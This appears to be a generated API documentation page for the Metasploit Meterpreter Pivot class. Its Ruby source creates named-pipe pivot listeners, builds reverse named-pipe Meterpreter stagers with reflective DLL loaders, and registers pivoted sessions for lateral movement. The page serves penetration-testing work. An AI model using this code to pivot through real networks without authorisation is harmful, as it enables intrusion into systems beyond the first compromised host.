Class: Rex::Post::Meterpreter::Pivot

Inherits:
Object
  • Object
show all
Extended by:
InboundPacketHandler
Defined in:
lib/rex/post/meterpreter/pivot.rb

Instance Attribute Summary collapse

Class Method Summary collapse

Instance Method Summary collapse

Methods included from InboundPacketHandler

request_handler, response_handler

Constructor Details

#initialize(client, session_guid, listener_id) ⇒ Pivot

Returns a new instance of Pivot.



138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
# File 'lib/rex/post/meterpreter/pivot.rb', line 138

def initialize(client, session_guid, listener_id)
  self.client = client

  opts = {
    pivot_session: client,
    session_guid:  session_guid
  }

  listener = client.find_pivot_listener(listener_id)
  self.pivoted_session = listener.session_class.new(nil, opts)

  self.pivoted_session.framework = self.client.framework
  registration = Proc.new do
    self.pivoted_session.bootstrap({'AutoVerifySessionTimeout' => 30})
    self.client.framework.sessions.register(self.pivoted_session)

    begin
      self.client.framework.events.on_session_open(self.pivoted_session)
    rescue ::Exception => e
      wlog("Exception in on_session_open event handler: #{e.class}: #{e}")
      wlog("Call Stack\n#{e.backtrace.join("\n")}")
    end
  end
  self.client.framework.sessions.schedule registration
end

Instance Attribute Details

#clientObject

The associated meterpreter client instance



36
37
38
# File 'lib/rex/post/meterpreter/pivot.rb', line 36

def client
  @client
end

#pivoted_sessionObject

Returns the value of attribute pivoted_session.



38
39
40
# File 'lib/rex/post/meterpreter/pivot.rb', line 38

def pivoted_session
  @pivoted_session
end

Class Method Details

.create_named_pipe_listener(client, opts = {}) ⇒ Object



80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
# File 'lib/rex/post/meterpreter/pivot.rb', line 80

def Pivot.create_named_pipe_listener(client, opts={})
  request = Packet.create_request(COMMAND_ID_CORE_PIVOT_ADD)
  request.add_tlv(TLV_TYPE_PIVOT_NAMED_PIPE_NAME, opts[:pipe_name])

  # TODO: use the framework to generate the whole lot, including a session type
  c = Class.new(::Msf::Payload)
  c.include(::Msf::Payload::Stager)
  c.include(::Msf::Payload::TransportConfig)
  c.include(::Msf::Sessions::MeterpreterOptions)

  # TODO: add more platforms
  case opts[:platform]
  when 'windows'
    # Include the appropriate reflective dll injection module for the target process architecture...
    if opts[:arch] == ARCH_X86
      c.include(::Msf::Payload::Windows::MeterpreterLoader)
    elsif opts[:arch] == ARCH_X64
      c.include(::Msf::Payload::Windows::MeterpreterLoader_x64)
    else
      STDERR.puts("Not including a loader for '#{opts[:arch]}'\n")
    end
  end

  stage_opts = {
    arch: opts[:arch],
    force_write_handle: true,
    null_session_guid: true,
    datastore: {
      exit_func: opts[:exit_func] || 'process',
      expiration: client.expiration,
      comm_timeout: client.comm_timeout,
      retry_total: client.retry_total,
      retry_wait: client.retry_wait,
      'PIPEHOST' => opts[:pipe_host],
      'PIPENAME' => opts[:pipe_name]
    }
  }

  # Create the migrate stager
  stager = c.new()

  stage_opts[:transport_config] = [stager.transport_config_reverse_named_pipe(stage_opts)]
  stage = stager.stage_payload(stage_opts)

  url = "pipe://#{opts[:pipe_host]}/#{opts[:pipe_name]}"
  stage_config = "#{opts[:arch]}/#{opts[:platform]}"
  pivot_listener = PivotListener.new(::Msf::Sessions::Meterpreter_x86_Win, url, stage_config)

  request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA, stage)
  request.add_tlv(TLV_TYPE_PIVOT_ID, pivot_listener.id)

  client.send_request(request)

  client.add_pivot_listener(pivot_listener)

  pivot_listener
end

.get_listeners(client) ⇒ Object



67
68
69
# File 'lib/rex/post/meterpreter/pivot.rb', line 67

def Pivot.get_listeners(client)
  client.pivot_listeners
end

.remove_listener(client, listener_id) ⇒ Object



71
72
73
74
75
76
77
78
# File 'lib/rex/post/meterpreter/pivot.rb', line 71

def Pivot.remove_listener(client, listener_id)
  if client.find_pivot_listener(listener_id)
    request = Packet.create_request(COMMAND_ID_CORE_PIVOT_REMOVE)
    request.add_tlv(TLV_TYPE_PIVOT_ID, listener_id)
    client.send_request(request)
    client.remove_pivot_listener(listener_id)
  end
end

.request_handler(client, packet) ⇒ Object

Class request handler for all channels that dispatches requests to the appropriate class instance's DIO handler



47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# File 'lib/rex/post/meterpreter/pivot.rb', line 47

def request_handler(client, packet)
  handled = false
  if packet.method == COMMAND_ID_CORE_PIVOT_SESSION_NEW
    handled = true
    session_guid = packet.get_tlv_value(TLV_TYPE_SESSION_GUID)
    listener_id = packet.get_tlv_value(TLV_TYPE_PIVOT_ID)
    client.add_pivot_session(Pivot.new(client, session_guid, listener_id))
  elsif packet.method == COMMAND_ID_CORE_PIVOT_SESSION_DIED
    handled = true
    session_guid = packet.get_tlv_value(TLV_TYPE_SESSION_GUID)
    pivot = client.find_pivot_session(session_guid)
    if pivot
      pivot.pivoted_session.kill('Died')
      client.remove_pivot_session(session_guid)
    end
  end
  handled
end

Instance Method Details

#cleanupObject (protected)

Cleans up any lingering resources



169
170
# File 'lib/rex/post/meterpreter/pivot.rb', line 169

def cleanup
end